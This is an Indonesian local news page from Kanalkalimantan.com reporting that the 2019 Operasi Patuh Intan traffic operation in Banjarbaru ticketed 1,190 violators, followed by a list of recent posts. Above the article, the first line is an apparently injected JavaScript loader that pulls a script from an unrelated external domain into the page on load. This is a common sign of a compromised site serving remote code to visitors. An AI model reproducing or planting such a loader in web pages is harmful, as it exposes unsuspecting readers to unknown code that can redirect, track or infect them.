(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Operasi Patuh Intan Sudah Jaring 1.190 Pelanggar di Banjarbaru


BANJARBARU, Operasi Patuh Intan 2019 terus menyasar para pengendara yang menyalahi aturan dan tidak memiliki kelengkapan izin. Seperti halnya razia yang dilakukan Satlantas Polres Banjarbaru, di jalan Panglima Batur tepatnya di kantor Samsat Banjarbaru, Kamis (5/9).

Menyasar khususnya para pengendara roda dua, petugas melakukan pengecekan surat menyurat dan kelengkapannya dan bagi yang melanggar akan langsung ditilang.

Kasat Lantas Polres Banjarbaru AKP Gustaf Adolf Mamuaya menyampaikan, dari awal pelaksanaan operasi sampai saat ini, masih banyak pengendara roda 2 ataupun roda 4 yang melanggar peraturan lalu lintas.

Contohnya, selama 4 hari sejak dimulainya operasi patuh intan, Satlantas Polres Banjarbaru telah menilang sebanyak 540 pelanggar.

“Ratusan pengendara yang terjaring itu, masih banyak pengemudi roda 4 yang tidak menggunakan safety belt. Sedangkan untuk roda 2, bentuk pelanggarannya yaitu tidak menggunakan helm, melawan arus, menggunakan HP saat berkendara, dan tidak membawa kelengkapan surat menyurat kendaraan bermotor. Bahkan masih adanya pengemudi yang masih di bawah umur,” katanya.

Bahkan, di hari ke-7, jumlah pelanggar telah meningkat hingga tercatat 1.190 pelanggaran.

Rendy, warga kota Banjarbaru mengaku cukup terkejut saat razia tersebut dilaksanakan secara tiba-tiba pada sore hari. Apalagi kebiasaan dirinya yang kadang lupa memang surat kelengkapan seperti SIM dan STNK.

“Kadang suka lupa. Sore ini kan waktu luang untuk jalan-jalan dan di jalan Panglima Batur ini memang sering kali saya melintasinya. Biasanya, memang jarang bawa SIM. Jadi pelajaran ya bagi saya,” katanya kepada Kanalkalimantan.com.

Operasi Kewilayahan 2019 sudah dilaksanakan serentak sejak tanggal 29 Agustus 2019 lalu oleh kepolisian di seluruh Indonesia. Operasi ini berakhir pada tanggal 11 September 2019 mendatang.

Kasat Lantas Polres Banjarbaru mengimbau kepada para pengendara baik kendaraan roda dua dan roda empat agar selalu mempersiapkan surat menyurat kendaraannya sebelum bepergian.

“Tidak hanya saat ada operasi patuh intan, namun juga setiap saat akan berkendaraan. Selain itu juga harus dilihat kondisi kendaraan apakah layak pakai atau tidak,” pungkas AKP Gustaf . (rico)

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

54 menit ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

2 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

2 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

3 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

3 jam ago

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

5 jam ago

This website uses cookies.